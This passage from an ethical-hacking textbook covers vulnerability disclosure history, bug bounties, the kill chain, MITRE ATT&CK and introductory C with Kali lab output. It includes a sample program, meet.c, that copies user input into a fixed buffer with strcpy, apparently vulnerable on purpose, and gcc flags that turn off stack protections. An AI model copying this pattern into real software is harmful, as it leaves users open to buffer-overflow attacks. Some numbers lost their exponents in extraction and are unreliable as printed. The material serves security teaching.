PART I
neglected patches for so long, there would have been no need for full disclosure in the
first place.13 Soon, people began to argue that the name “responsible disclosure” implies
that attempts to assert vendor accountability are, therefore “irresponsible.” Conceding
this point, Microsoft itself later changed its position and in 2010 made another plea
to use the term “coordinated vulnerability disclosure” (CVD) instead.14 Around this
time, Google turned up the heat by asserting a hard deadline of 60 days for fixing any
security issue prior to disclosure.15 The move appeared to be aimed at Microsoft, which
sometimes took more than 60 days to fix a problem. Later, in 2014, Google formed a
team called Project Zero, aimed at finding and disclosing security vulnerabilities, using
a 90-day grace period.16
The hallmark of coordinated disclosure is using threat of disclosure after a reasonable
period of time to hold vendors accountable. The Computer Emergency Response
Team (CERT) Coordination Center (CC) was established in 1988 in response to
the Morris worm and has served for nearly 30 years as a facilitator of vulnerability
and patch information.17 The CERT/CC has established a 45-day grace period when
handling vulnerability reports, in that the CERT/CC will publish vulnerability data after
45 days, unless there are extenuating circumstances.18 Security researchers may submit
vulnerabilities to the CERT/CC or one of its delegated entities, and the CERT/CC will
handle coordination with the vendor and will publish the vulnerability when the patch
is available or after the 45-day grace period. See the “For Further Reading” section for
information on the DHS Cybersecurity and Infrastructure Security Agency’s stance on
coordinated vulnerability disclosure.
Incentives
Bug bounty programs offer many unofficial and official incentives. In the early days,
rewards included letters, T-shirts, gift cards, and simply bragging rights. Then, in
2013, Yahoo! was shamed into giving more than swag to researchers. The community
began to flame Yahoo! for being cheap with rewards, giving T-shirts or nominal gift
cards for vulnerability reports. In an open letter to the community, Ramses Martinez,
the director of bug finding at Yahoo!, explained that he had been funding the effort
out of his own pocket. From that point onward, Yahoo! increased its rewards to $150
to $15,000 per validated report.26 From 2011 to 2014, Facebook offered an exclusive
“White Hat Bug Bounty Program” Visa debit card. 27 The rechargeable black card was
coveted and, when flashed at a security conference, allowed the researcher to be rec-
ognized and perhaps invited to a party.28 Nowadays, bug bounty programs still offer
an array of rewards, including Kudos (points that allow researchers to be ranked and
recognized), swag, and financial compensation.
PART I
The famous ancient Chinese general Sun Tzu said it best more than 2,500 years ago:
“If you know the enemy and know yourself, you need not fear the result of a hundred
battles. If you know yourself but not the enemy, for every victory gained you will also
suffer a defeat.”29
Based on this timeless advice, it behooves us to know our enemy, the black hat hacker.
Cost to Remediate
Weaponization
Weaponization involves the crafting of, or selection of, existing exploits to take advantage
of the vulnerabilities found during the reconnaissance phase. Normally, an APT does not
have to do anything fancy or use a 0-day at this stage of the attack. There are normally
unpatched publicly known vulnerabilities that may be used. However, in rare cases, an
adversary may craft a special exploit to a custom payload, containing a trojan or other
back door, that provides command and control and further functionality, as desired.
Delivery
During this phase of the attack, the attacker sends the exploit and payload to the target
to take advantage of a discovered vulnerability. This may involve exploiting a discovered
web or e-mail vulnerability, or perhaps an open API interface. Unfortunately, there are
often easier ways into an enterprise, such as a simple phishing attack, which is still effec-
tive, after billions of dollars in training and awareness. Other forms of social engineering
attacks may be used here as well.
Exploitation
During this phase, the cyber weapon is detonated and is executed in some fashion, either
by that “helpful” user or automatically by an application such as an e-mail client or web
browser plugin. At this point, the attacker’s code is executing on the target host. When
directly attacking a port or service, the delivery and exploitation phase are the same.
Installation
During this phase, the attacker normally performs two actions (1) gain persistence and
(2) downloads and executes a secondary payload. When it comes to persistence, the
worst thing that can happen to an attacker at this phase is the user close the applica-
tion that is running the malicious code or even worst reboot the computer, severing
all connections. Therefore, the first intention of the adversary is to quickly gain some
form of persistence.
This secondary payload is normally required, as the primary payload must be small,
evade anti-virus, and must often fit within the confines of a carrier document or file.
However, this secondary payload may be much larger in size, may execute entirely in
memory, further evading many antivirus technologies. The secondary payload may
Chapter 1: Gray Hat Hacking
13
contain a standard and readily available attack framework, such as a remote access
trojan (RAT). Some attackers have even started to use our own tools against us, such
PART I
as Metasploit.
Actions on Objectives
Finally, after all that effort, which may only take seconds to complete, the adversary will
perform actions on objectives, which is also a military phrase, which means, complete
the mission, complete the task you came to do. Often this involves moving laterally
across the organization, discovering sensitive information, gaining enterprise admin-
istrative privilege, establishing more forms of persistence and access, and ultimately
exfiltration of the sensitive data, extortion through ransomware, bitcoin mining, or
some other profit motive.
Detect
During each phase, you may detect the attacker, but it is often more feasible to detect
the attack in its early phases. The further the attacker digs into the network, the more
they begin to look like a normal user and the harder it is to detect them. There is one
prominent exception here, the “deceive” method, which we will discuss in a moment.
Deny
An effective method to deal with an attacker is to “deny” them access to sensitive
resources. However, that turns out to be harder than it sounds. Again, if an attacker
is simply taking advantage of a discovered vulnerability that, for example, bypasses the
built-in access control mechanisms, it may not be possible to deny access to that system,
particularly if it is Internet facing. However, for secondary systems, further network seg-
mentation and access controls should be deployed to deny the attacker. On the extreme
end of this defense is Zero Trust, which is becoming popular and, if properly deployed,
would greatly improve this method.
Gray Hat Hacking: The Ethical Hacker’s Handbook
14
Disrupt
The act of disrupting the attacker involves increasing their cost, either through new
forms of antivirus or operating system updates that bring new forms of memory protec-
tion, such as Data Execution Prevention (DEP), address space layout randomization
(ASLR), and Stack Canaries. As the attacker evolves, we as defenders should evolve,
too. This is particularly important on external-facing systems, but we cannot stop there:
all systems and internal segments of the network should be considered vulnerable and
employ methods to disrupt the attacker, thus slowing them down and buying precious
time to detect them.
Degrade
To degrade an attacker means to limit their ability to be successful. For example, you may
throttle outbound data, over a certain threshold, to limit exfiltration. Further, you may
block all outbound traffic, except through approved and authenticated proxies, which
may buy you time as you detect those attempts, before the attacker figures it out and
then uses those proxies.
Deceive
To deceive the enemy is, again, as old as warfare itself. It is a basic element of cyber opera-
tions and is most effective for an attacker who has made it past all other defenses but
is lurking and poking around the internal network. The hope is that the attacker steps
on one of the digital mouse traps (that is, honeypots) you deployed for the purpose of
detecting that very act.
Destroy
Unless you happen to work for a nation-state-level cyber force, you probably won’t be
able to “hack back.” However, you may destroy an attacker’s foothold in your own net-
work when it’s discovered. A word of caution here: you will need to perform careful
planning and ensure that you pull the attacker out by the roots; otherwise, you may start
a dangerous game of hide-and-seek, this angering the attacker, who may be in your net-
work deeper than you originally think.
PART I
NOTE Although sample procedures are linked to sub-techniques, the ATT&CK
framework does not contain a comprehensive list of procedures, nor is it
intended to. See the site’s FAQ for more information.
Procedures show the variations of the techniques that APTs are known to use and
are linked to the techniques pages. For example, for the Spear Phishing Attachments
technique (T1566.001), the APT19 group is known to send RTF and XLSM formats to
deliver the initial exploits.
The framework is updated often, and new releases are provided. See the website for
the current list.33
Tactics
Table 1-1 provides the list of tactics in ATT&CK version 8 (current as of this writing).
As can be seen, the MITRE ATT&CK framework contains a mountain of useful
information that may be applied across the cybersecurity field. We will just highlight a
few uses.
PART I
is quite successful at gauging effectiveness and maintaining alertness of the defensive
security function.
One effective tool in this regard is Red Canary’s Atomic Red Team tool. We will
explore this tool in Chapter 9, but until then, see the “For Further Reading” section for
more information.
CAUTION Be sure to coordinate cyber threat exercises with your boss before
you do them. You have been warned! If you have a security operations center
(SOC), you may want to coordinate with the leader of that organization as
well, but it is recommended that the analysts not know the exercise is taking
place, as their response is part of the test.
Threat Hunting
Threat hunting is a new trend in the cybersecurity field. We will discuss it in detail
in Chapter 9, but at this point, it is useful to see the connection with the MITRE
ATT&CK framework. Using the framework, the threat hunter may select a set of APTs
in a similar manner to the CTE exercise, but in this case to develop multiple hypotheses
of attack. Then the threat hunter may fold in cyber threat intelligence, along with situ-
ational awareness of the network environment, to prove or disprove those hypotheses.
We have long known that the best defenders are attackers (that is, gray hat hackers). Now
we have a tool to methodically pursue attackers by using the knowledgebase contained in
the framework to systematically hunt them down post-breach.
Security Engineering
As a security engineer, you may develop a threat model based on the MITRE ATT&CK
framework. That threat model may be developed using the MITRE ATT&CK Naviga-
tor (refer to the “For Further Reading” section). The Navigator can be used to select a
particular set of APTs, which you may download as a spreadsheet. You may then use that
spreadsheet to perform a gap assessment, leveraging the results from the CTE exercise
and using colors for particular techniques to record your level of coverage in relation to
that APT. Finally, that threat model, with an associated coverage map, could be used to
design future controls to close those gaps.
Summary
This chapter provides you with an overview of the topic of gray hat hacking, which we
define as ethical hacking—using offense for defensive purposes. We started with some
background and history on the phrase. Then we covered the history of vulnerability
disclosure and how that is tied to ethical hacking. Finally, we shifted our focus to the
adversary, the black hat hacker, and learned how to discuss, describe, share, and hunt for
their activities using the MITRE ATT&CK framework.
Gray Hat Hacking: The Ethical Hacker’s Handbook
18
For Further Reading
CISA Coordinated Vulnerability Disclosure Process (CVD) www.cisa.gov/coordinated-
vulnerability-disclosure-process
Red Canary Atomic Red Team github.com/redcanaryco/atomic-red-team
MITRE ATT&CK Navigator mitre-attack.github.io/attack-navigator/
Threat Hunting with MITRE ATT&CK www.threathunting.se/2020/05/24/threat-
detection-with-mitre-attck-and-atomic-redteam/
References
1. “The Black Hat Briefings USA 1997 Speakers,” https://www.blackhat.com/html/
bh-usa-97/speakers.html (accessed Feb. 28, 2021).
2. “Grey hat,” Wikipedia, Mar. 24, 2021, https://en.wikipedia.org/w/index
.php?title=Grey_hat&oldid=1014051749 (accessed Apr. 10, 2021).
3. “[ENG] White Hat ? Black Hat ? Grey Hat ?” https://www.ddth.com/showthread
.php/200-ENG-White-Hat-Black-Hat-Grey-Hat (accessed Feb. 28, 2021).
4. “Grey hat,” Wikipedia, op. cit.
5. Synopsys, “Coverity Scan Open Source Report Shows Commercial Code Is
More Compliant to Security Standards than Open Source Code,” Synopsys,
Jul. 29, 2015, https://news.synopsys.com/2015-07-29-Coverity-Scan-Open-
Source-Report-Shows-Commercial-Code-Is-More-Compliant-to-Security-
Standards-than-Open-Source-Code (accessed Jun. 17, 2017).
6. C. Woody, R. Ellison, and W. Nichols, “Predicting Software Assurance Using
Quality and Reliability Measures,” Softw. Eng. Inst., p. 59.
7. K. Zetter, “Three Minutes with Rain Forest Puppy | PCWorld,” PCWorld,
Jan. 5, 2012.
8. “Full disclosure (mailing list),” Wikipedia, Sep. 06, 2016, https://en.wikipedia
.org/w/index.php?title=Full_disclosure_(mailing_list).
9. B. Schneier, “Essays: Schneier: Full Disclosure of Security Vulnerabilities a ‘Damned
Good Idea’ – Schneier on Security,” Jan. 2007, https://www.schneier.com/essays/
archives/2007/01/schneier_full_disclo.html (accessed Jun. 17, 2017).
10. M. J. Ranum, “The Vulnerability Disclosure Game: Are We More Secure?”
CSO Online, Mar. 01, 2008, www.csoonline.com/article/2122977/application-
security/the-vulnerability-disclosure-game—are-we-more-secure-.html (accessed
Jun. 17, 2017).
11. Imperva, Inc., “Imperva | Press Release | Analysis of Web Site Penetration Retests
Show 93% of Applications Remain Vulnerable After ‘Fixes,’” Jun. 2004, https://
www.imperva.com/company/press_releases/analysis-of-web-site-penetration-retests-
show-93-of-applications-remain-vulnerable-after-fixes/ (accessed Jun. 17, 2017).
Chapter 1: Gray Hat Hacking
19
12. A. Sacco, “Microsoft: Responsible Vulnerability Disclosure Protects Users,”
CSO Online, Jan. 09, 2007, www.csoonline.com/article/2121631/build-ci-sdlc/
PART I
microsoft—responsible-vulnerability-disclosure-protects-users.html (accessed
Jun. 18, 2017).
13. Schneier, op. cit.
14. G. Keizer, “Drop ‘responsible’ from bug disclosures, Microsoft urges,”
Computerworld, Jul. 22, 2010, www.computerworld.com/article/2519499/
security0/drop—responsible—from-bug-disclosures—microsoft-urges.html
(accessed Jun. 18, 2017).
15. ibid.
16. “Project Zero (Google),” Wikipedia, May 2, 2017, https://en.wikipedia.org/w/
index.php?title=Project_Zero_(Google).
17. “CERT Coordination Center,” Wikipedia, May 30, 2017, https://en.wikipedia
.org/w/index.php?title=CERT_Coordination_Center.
18. CERT/CC, “Vulnerability Disclosure Policy | Vulnerability Analysis |
The CERT Division,” https://vuls.cert.org/confluence/display/Wiki/
Vulnerability+Disclosure+Policy (accessed Jun. 18, 2017).
19. D. Fisher, “No more free bugs for software vendors,” Threatpost | The first stop for
security news, Mar. 23, 2009, https://threatpost.com/no-more-free-bugs-software-
vendors-032309/72484/ (accessed Jun. 17, 2017).
20. P. Lindstrom, “No More Free Bugs | Spire Security Viewpoint,” Mar. 2009,
http://spiresecurity.com/?p=65 (accessed Jun. 17, 2017).
21. A. O’Donnell, “‘No more free bugs’? There never were any free bugs,” ZDNet,
Mar. 2009, www.zdnet.com/article/no-more-free-bugs-there-never-were-any-free-
bugs/ (accessed Jun. 17, 2017).
22. “Bug bounty program,” Wikipedia, Jun. 14, 2017, https://en.wikipedia.org/wiki/
Bug_bounty_program.
23. Mozilla Foundation, “Mozilla Foundation announces security bug bounty
program,” Mozilla Press Center, Aug. 2004, https://blog.mozilla.org/
press/2004/08/mozilla-foundation-announces-security-bug-bounty-program/
(accessed Jun. 24, 2017).
24. “Pwn2Own,” Wikipedia, Jun. 14, 2017, https://en.wikipedia.org/w/index
.php?title=Pwn2Own.
25. E. Friis-Jensen, “The History of Bug Bounty Programs,” Cobalt.io, Apr. 11,
2014, https://blog.cobalt.io/the-history-of-bug-bounty-programs-50def4dcaab3
(accessed Jun. 17, 2017).
26. T. Ring, “Why bug hunters are coming in from the wild,” Computer Fraud &
Security, vol. 2014, no. 2, pp. 16–20, Feb. 2014.
Gray Hat Hacking: The Ethical Hacker’s Handbook
20
27. E. Mills, “Facebook hands out White Hat debit cards to hackers,” CNET, Dec.
2011, https://www.cnet.com/news/facebook-hands-out-white-hat-debit-cards-to-
hackers/ (accessed Jun. 24, 2017).
28. ibid.
29. S. Tzu, The art of war, Orange Publishing, 2013.
30. M. Santarcangelo, “Why you need to embrace the evolution of APT,” CSO Online,
May 27, 2014, https://www.csoonline.com/article/2158775/why-you-need-to-
embrace-the-evolution-of-apt.html (accessed Apr. 10, 2021).
31. E. M. Hutchins, M. J. Cloppert, and R. M. Amin, “Intelligence-Driven Computer
Network Defense Informed by Analysis of Adversary Campaigns and Intrusion
Kill Chains,” p. 14, 2011.
32. Sp4rkCon by Walmart, Putting MITRE ATT&CKTM into Action with What You
Have, Where You Are (presented by Katie Nickels), 2019.
33. “MITRE ATT&CK®,” https://attack.mitre.org/ (accessed Mar. 28, 2021).
Programming
Survival Skills
CHAPTER
2
In this chapter, we cover the following topics:
• C programming language
• Computer memory
• Intel processors
• Assembly language basics
• Debugging with gdb
• Python survival skills
Why study programming? Ethical hackers should study programming and learn as much
about the subject as possible in order to find vulnerabilities in programs and get them
fixed before unethical hackers and black hats take advantage of them. Many security
professionals come at programming from a nontraditional perspective, often having no
programming experience prior to beginning their career. Bug hunting is very much a foot
race: if a vulnerability exists, who will find it first? The purpose of this chapter is to give
you the survival skills necessary to understand upcoming chapters and then later to find
the holes in software before the black hats do.
C Programming Language
The C programming language was developed in 1972 by Dennis Ritchie from AT&T
Bell Labs. The language was heavily used in Unix and is therefore ubiquitous. In fact,
many of the staple networking programs and operating systems, as well as large applica-
tions such as Microsoft Office Suite, Adobe Reader, and browsers, are written in combi-
nations of C, C++, Objective-C, assembly, and a couple of other lower-level languages.
21
Gray Hat Hacking: The Ethical Hacker’s Handbook
22
main()
All C programs “should” (see the “For Further Reading” section for an exception) con-
tain a main() function (lowercase) that follows the format
<optional return value type> main(<optional argument>) {
<optional procedure statements or function calls>;
}
where both the return value type and arguments are optional. If no return value type is
specified, a return type of int is used; however, some compilers may throw warnings if
you fail to specify its return value as int or attempt to use void. If you use command-line
arguments for main(), you could use the format
<optional return value type> main(int argc, char * argv[]){
(among others), where the argc integer holds the number of arguments and the argv array
holds the input arguments (strings). The name of the program is always stored at offset
argv[0]. The parentheses and brackets are mandatory. The brackets are used to denote the
beginning and end of a block of code. Although procedure and function calls are optional,
the program would do nothing without them. A procedure statement is simply a series of
commands that performs operations on data or variables and normally ends with a semicolon.
Functions
Functions are self-contained bundles of code that can be called for execution by main() or
other functions. They are nonpersistent and can be called as many times as needed, thus
preventing us from having to repeat the same code throughout a program. The format
is as follows:
<optional return value type> function name (<optional function argument>){
}
The function name and optional argument list comprise the signature. By looking
at it, you can tell if the function requires arguments that will be used in processing the
procedures of the function. Also notice the optional return value; this tells you if the
function returns a value after executing and, if so, what type of data that is.
The call to the function may look like this:
<optional variable to store the returned value> = function name (arguments
if called for by the function signature);
PART I
is defined in stdio.h. If you do not know what header files are required based on the
dynamically linked functions you are using in a program, you can simply look at the
manual entry, such as man sscanf, and refer to the synopsis at the top. We then define
the main ➌ function with a return value of int. We specify void ➍ in the arguments
location between the parentheses because we do not want to allow arguments passed to
the main function. We then create a variable called x with a data type of int ➎. Next, we
call the function foo ➏ and assign the return value to x. The foo function simply returns
the value 8 ➐. This value is then printed onto the screen using the printf function, using
the format string %d to treat x as a decimal value ➑.
Function calls modify the flow of a program. When a call to a function is made,
the execution of the program temporarily jumps to the function. After execution of
the called function has completed, control returns to the calling function at the virtual
memory address directly below the call instruction. This process will make more sense
during our discussion of stack operations in Chapter 10.
Variables
Variables are used in programs to store pieces of information that may change and may
be used to dynamically influence the program. Table 2-1 shows some common types
of variables.
When the program is compiled, most variables are pre-allocated memory of a fixed
size according to system-specific definitions of size. Sizes in Table 2-1 are considered
typical; there is no guarantee you will get those exact sizes. It is left up to the hardware
implementation to define the size. However, the function sizeof() is used in C to ensure
that the correct sizes are allocated by the compiler.
Variables are typically defined near the top of a block of code. As the compiler chews
up the code and builds a symbol table, it must be aware of a variable before that variable
is used in the code later. The word “symbol” is simply a name or identifier. This formal
declaration of variables is done in the following manner:
<variable type> <variable name> <optional initialization starting with "=">;
is an assignment statement that changes the value of the variable x. The new value of x is
the current value of x modified by the + operator. It is common to use the format
destination = source <with optional operators>
printf
The C language comes with many useful constructs bundled into the libc library. One
of many commonly used constructs is the printf command, generally used to print out-
put to the screen. There are two forms of the printf command:
printf(<string>);
printf(<format string>, <list of variables/values>);
The first format is straightforward and is used to display a simple string to the screen.
The second format allows for more flexibility through the use of a format type that can
be composed of normal characters and special symbols that act as placeholders for the
list of variables following the comma. Commonly used format symbols are listed and
described in Table 2-2.
These format types allow the programmer to indicate how they want data displayed to
the screen, written to a file, or other possibilities through the use of the printf family of
functions. As an example, say you know a variable to be a float and you want to ensure
that it is printed out as such, and you also want to limit its width, both before and after
the floating point. In this case, you could use the code in the following lab in Kali, where
we first change our shell to bash and then get the code from GitHub using git clone.
PART I
In this lab, we download the code for all the labs in this chapter and then focus on format
strings, which will allow us to format the output of our program as we wish.
┌──(kali kali)-[~]
└─$ bash
┌──(kali kali)-[~]
└─$ git clone https://github.com/GrayHatHacking/GHHv6.git
Cloning into 'GHHv6'...
remote: Enumerating objects: 509, done.
remote: Total 509 (delta 0), reused 0 (delta 0), pack-reused 509
Receiving objects: 100% (509/509), 98.11 MiB | 21.29 MiB/s, done.
Resolving deltas: 100% (158/158), done.
Updating files: 100% (105/105), done.
┌──(kali kali)-[~]
└─$ ls
Desktop Downloads GHHv6 Pictures Templates
Documents gh6 Music Public Videos
┌──(kali kali)-[~]
└─$ cd GHHv6/ch02
┌──(kali kali)-[~/GHHv6/ch02]
int main(void){
double x = 23.5644;
printf("The value of x is %5.2f\n", x);➊
printf("The value of x is %4.1f\n", x);➋
return 0;
}
In the first printf call ➊, we use a total width of 5, with 2 values after the floating
point. In the second call to printf ➋, we use a total width of 4, with 1 value after the
floating point.
Now, let’s compile it with gcc and run it:
┌──(kali kali)-[ ~/GHHv6/ch02]
└─$ gcc fmt_str.c -o fmt_str
┌──(kali kali)-[ ~/GHHv6/ch02]
└─$ ./fmt_str
The value of x is 23.56
The value of x is 23.6
NOTE The examples in this chapter use 2020.4 64-bit Kali Linux. If you are
using 32-bit Kali Linux, you may need to change your compiler options.
Gray Hat Hacking: The Ethical Hacker’s Handbook
26
scanf
The scanf command complements the printf command and is generally used to get
input from the user. The format is
scanf(<format string>, <list of variables/values>);
where the format string can contain format symbols such as those shown for printf in
Table 2-2. For example, the following code will read an integer from the user and store
it in a variable called number:
scanf("%d", &number);
Actually, the & symbol means we are storing the value in the memory location
pointed to by number. This will make more sense when we talk about pointers later in
the chapter in the “Pointers” section. For now, realize that you must use the & symbol
before any variable name with scanf. The command is smart enough to change types on
the fly, so if you were to enter a character in the previous command prompt, the com-
mand would convert the character into the decimal (ASCII) value automatically. Bounds
checking is not done in regard to string size, however, which may lead to problems, as
discussed later in Chapter 10.
strcpy/strncpy
The strcpy command is one of the most dangerous functions used in C. The format of
the command is as follows:
strcpy(<destination>, <source>);
The purpose of the command is to copy each character in the source string (a series of
characters ending with a null character, \0) into the destination string. This is particularly
dangerous because there is no checking of the source’s size before it is copied over to the
destination. In reality, we are talking about overwriting memory locations here, which is
something that will be explained later in this chapter. Suffice it to say, when the source
is larger than the space allocated for the destination, overflow conditions are likely pres-
ent, which could result in the control of program execution. When used properly, a safer
alternative function is the strncpy command. Here is the format of that command:
strncpy(<destination>, <source>, <width>);
The <width> field is used to ensure that only a certain number of characters are cop-
ied from the source string to the destination string, allowing for greater control by the
programmer. The width parameter should be based on the size of the destination, such
as an allocated buffer. Another alternative function with the ability to control the size
and handle errors is snprintf. Overall, the C programming language’s handling of strings
has always been debated and highly scrutinized due to the requirement of the developer
to handle memory allocation.
Chapter 2: Programming Survival Skills
27
CAUTION Using unbounded functions like strcpy is unsafe; however, many
PART I
traditional programming courses do not cover the dangers posed by these
functions in enough detail. In fact, if programmers would simply properly
use the safer alternatives, such as snprintf, then the entire class of buffer
overflow attacks would be less prevalent. Many programmers clearly
continue to use these dangerous functions because buffer overflows are
still commonly discovered. Legacy code containing bad functions is another
common problem. Luckily, most compilers and operating systems support
various exploit-mitigation protections that help to prevent exploitation of
these types of vulnerabilities. That said, even bounded functions can suffer
from incorrect buffer size calculations.
will print the numbers 0 to 9 on the same line (since \n is not used), like this: 0123456789.
With for loops, the condition is checked prior to the iteration of the statements in the
loop, so it is possible that even the first iteration will not be executed. When the condi-
tion is not met, the flow of the program continues after the loop.
NOTE It is important to note the use of the less-than operator (<) in place
of the less-than-or-equal-to operator (<=), which allows the loop to proceed
one more time until i=10. This is an important concept that can lead to off-
by-one errors. Also, note that the count started with 0. This is common in C
and worth getting used to.
The while loop is used to iterate through a series of statements until a condition is met.
A basic example follows:
┌──(kali kali)-[~/GHHv6/ch02]
└─$ cat while_ex.c
#include <stdio.h>
int main(void){
int x = 0;
Gray Hat Hacking: The Ethical Hacker’s Handbook
28
while (x<10) {
printf("x = %d\n", x);
x++;
}
return 0;
}
┌──(kali kali)-[~/GHHv6/ch02]
└─$ gcc while_ex.c -o while_ex
┌──(kali kali)-[~/GHHv6/ch02]
└─$ ./while_ex
x = 0
x = 1
x = 2
x = 3
x = 4
x = 5
x = 6
x = 7
x = 8
x = 9
The if/else construct is used to execute a series of statements if a certain condition is met;
otherwise, the optional else block of statements is executed. If there is no else block of
statements, the flow of the program will continue after the end of the closing if block
bracket (}). The following is an example of an if/else construct nested within a for loop:
┌──(kali kali)-[~/GHHv6/ch02]
└─$ cat ifelse.c
#include <stdio.h>
int main(void){
int x = 0;
while(1){➊
if (x == 0) {➋
printf("x = %d\n", x);
x++;
continue;
}
else {➌
printf("x != 0\n");
break;➍
}
return 0;
}
}
┌──(kali kali)-[~/GHHv6/ch02]
└─$ gcc ifelse.c -o ifelse
┌──(kali kali)-[~/GHHv6/ch02]
└─$ ./ifelse
x = 0
x ≠ 0
Chapter 2: Programming Survival Skills
29
In this example, we use a while ➊ loop to loop through the if/else statements. Before
we go into the loop, we set the variable x to 0. Because x is equal to 0, we meet the condi-
PART I
tion in the if statement ➋. Then we call the printf function, increment x by 1, and then
continue. Since x is now 1, we don’t meet the condition for the if statement during the
second iteration through the loop. Therefore, we move on to the else statement ➌, which
calls the printf function and then breaks ➍ out of the loop. The braces may be omitted
for single statements.
Comments
To assist in the readability and sharing of source code, programmers include comments
in the code. You can use one of two ways to place comments in code: // or /* and */. The
// comment type indicates that any characters on the rest of that line are to be treated as
comments and not acted on by the computer when the program executes. The /* and */
pair starts and stops a block of comments that may span multiple lines. In this case, /*
is used to start the comment, and */ is used to indicate the end of the comment block.
Sample Programs
You are now ready to review your first program.
We will start by showing the program with // comments included and will follow up with
a discussion of the program.
┌──(kali kali)-[~/GHHv6/ch02]
└─$ cat hello.c
// hello.c // customary comment of program name
#include <stdio.h> // needed for screen printing
int main(){ // required main function
printf("Hello haxor!\n"); // simply say hello
} // exit program
This very simple program prints “Hello haxor!” to the screen using the printf function,
included in the stdio.h library. Try to compile it, now that you know how, and run it!
Now for something that’s a little more complex. This program will take input, store it,
then print it:
┌──(kali kali)-[~/GHHv6/ch02]
└─$ cat meet.c
// meet.c
#include <stdio.h> // needed for screen printing
#include <string.h> // needed for strcpy
Gray Hat Hacking: The Ethical Hacker’s Handbook
30
void greeting(char *temp1,char *temp2){ ➋ // greeting function to say hello
char name[400]; // string variable to hold the name
strcpy(name, temp2); // copy argument to name with the infamous strcpy
printf("Hello %s %s\n", temp1, name); ➌ // print out the greeting
}
int main(int argc, char * argv[]){ ➊ // note the format for arguments
greeting(argv[1], argv[2]); ➋ // call function, pass title & name
printf("Bye %s %s\n", argv[1], argv[2]); ➍ // say "bye"
}➎ // exit program
This program takes two command-line arguments ➊ and calls the greeting() ➋ func-
tion, which prints “Hello” and the name given, followed by a carriage return ➌. When
the greeting() function finishes, control is returned to main(), which prints out “Bye”
and the name given ➍. Finally, the program exits ➎.
Option Description
–o <filename> Saves the compiled binary with this name. The default is to
save the output as a.out.
–S Produces a file containing assembly instructions; saved with
an .s extension.
–ggdb Produces extra debugging information; useful when using
the GNU debugger (gdb).
–c Compiles without linking; produces object files with
an .o extension.
–mpreferred-stack-boundary=2 Compiles the program using a DWORD size stack, simplifying
the debugging process while you learn.
–fno-stack-protector Disables the stack protection; introduced with GCC 4.1. This
option is useful when you’re learning about buffer overflows,
as you will in Chapter 11.
–z execstack Enables an executable stack. This option is useful when you’re
learning about buffer overflows, as you will in Chapter 11.
Table 2-3 Commonly Used gcc Flags
Chapter 2: Programming Survival Skills
31
PART I
To compile our meet.c program, you would type the following in Kali 2020.4 64-bit:
┌──(kali kali)-[~/GHHv6/ch02]
└─$ gcc -o meet meet.c
You will use various compiler options to compile programs in this book and beyond;
see the “For Further Reading” section for more information on using gcc.
Computer Memory
In the simplest terms, computer memory is an electronic mechanism that has the ability
to store and retrieve data. The smallest amount of data that can be stored is 1 bit, which
can be represented by either a 1 or a 0 in memory. When you put 4 bits together, it is
called a nibble, which can represent values from 0000 to –1111. There are exactly
16 binary values, ranging from 0 to 15, in decimal format. When you put two nibbles,
or 8 bits, together, you get a byte, which can represent values from 0 to (28 – 1), or 0 to
255 in decimal. When you put 2 bytes together, you get a word, which can represent
values from 0 to (216 – 1), or 0 to 65,535 in decimal. Continuing to piece data together,
if you put two words together, you get a double word, or DWORD, which can represent
values from 0 to (232 – 1), or 0 to 4,294,967,295 in decimal. Two DWORDs together
is a quadruple word, or QWORD, which can represent values from 0 to (264 – 1), or 0
to 18,446,744,073,709,551,615 in decimal. In terms of memory addressing on 64-bit
AMD and Intel processors, only the lower 48 bits are used, which offers 256 terabytes of
addressable memory. This is well documented in countless online resources.
There are many types of computer memory; we will focus on random access memory
(RAM) and registers. Registers are special forms of memory embedded within processors,
which will be discussed later in this chapter in the “Registers” section.
Endian
In Internet Experiment Note (IEN) 137, “On Holy Wars and a Plea for Peace,” from
1980, Danny Cohen summarized Swift’s Gulliver’s Travels, in part, as follows in his dis-
cussion of byte order:
Gulliver finds out that there is a law, proclaimed by the grandfather of the present
ruler, requiring all citizens of Lilliput to break their eggs only at the little ends.
Of course, all those citizens who broke their eggs at the big ends were angered
by the proclamation. Civil war broke out between the Little-Endians and the
Big-Endians, resulting in the Big-Endians taking refuge on a nearby island, the
kingdom of Blefuscu.1
The point of Cohen’s paper was to describe the two schools of thought when writ-
ing data into memory. Some feel that the low-order bytes should be written first (called
“Little-Endians” by Cohen), whereas others think the high-order bytes should be writ-
ten first (called “Big-Endians”). The difference really depends on the hardware you
are using. For example, Intel-based processors use the little-endian method, whereas
Motorola-based processors use big-endian.
Segmentation of Memory
The subject of segmentation could easily consume a chapter itself. However, the basic con-
cept is simple. Each process (oversimplified as an executing program) needs to have access
to its own areas in memory. After all, you would not want one process overwriting another
process’s data. Therefore, memory is broken down into small segments and handed out
to processes as needed. Registers, discussed later in the chapter, are used to store and keep
track of the current segments a process maintains. Offset registers are used to keep track
of where in the segment the critical pieces of data are kept. Segmentation also describes
the memory layout within a process’s virtual address space. Segments such as the code seg-
ment, data segment, and stack segment are intentionally allocated in different regions of
the virtual address space within a process to prevent collisions and to allow for the ability
to set permissions accordingly. Each running process gets its own virtual address space, and
the amount of space depends on the architecture (such as 32-bit or 64-bit), system settings,
and the OS. A basic 32-bit Windows process by default gets 4GB, where 2GB is assigned
to the user-mode side of the process and 2GB is assigned to the kernel-mode side of the
process. Only a small portion of this virtual space within each process is mapped to physical
memory, and depending on the architecture, there are various ways of performing virtual-
to-physical memory mapping through the use of paging and address translation.
Programs in Memory
When processes are loaded into memory, they are basically broken into many small
sections. We are only concerned with six main sections, which we discuss in the
following subsections.
Chapter 2: Programming Survival Skills
33
.text Section
The .text section, also known as the code segment, basically corresponds to the .text por-
PART I
tion of the binary executable file. It contains the machine instructions to get the task
done. This section is marked as readable and executable and will cause an access violation
if a write attempt is made. The size is fixed at runtime when the process is first loaded.
.data Section
The .data section is used to store global initialized variables, such as
int a = 0;
The size of this section is fixed at runtime. It should only be marked as readable.
.bss Section
The below stack section (.bss) is used to store certain types of global uninitialized variables,
such as
int a;
The size of this section is fixed at runtime. This segment needs to be readable and writ-
able but should not be executable.
Heap Section
The heap section is used to store dynamically allocated variables and grows from the
lower-addressed memory to the higher-addressed memory. The allocation of memory is
controlled through the malloc(), realloc(), and free() functions. For example, to declare
an integer and have the memory allocated at runtime, you would use something like this:
int i = malloc (sizeof (int)); // dynamically allocates an integer, contains
// the preexisting value of that memory
The heap section should be readable and writable but should not be executable because
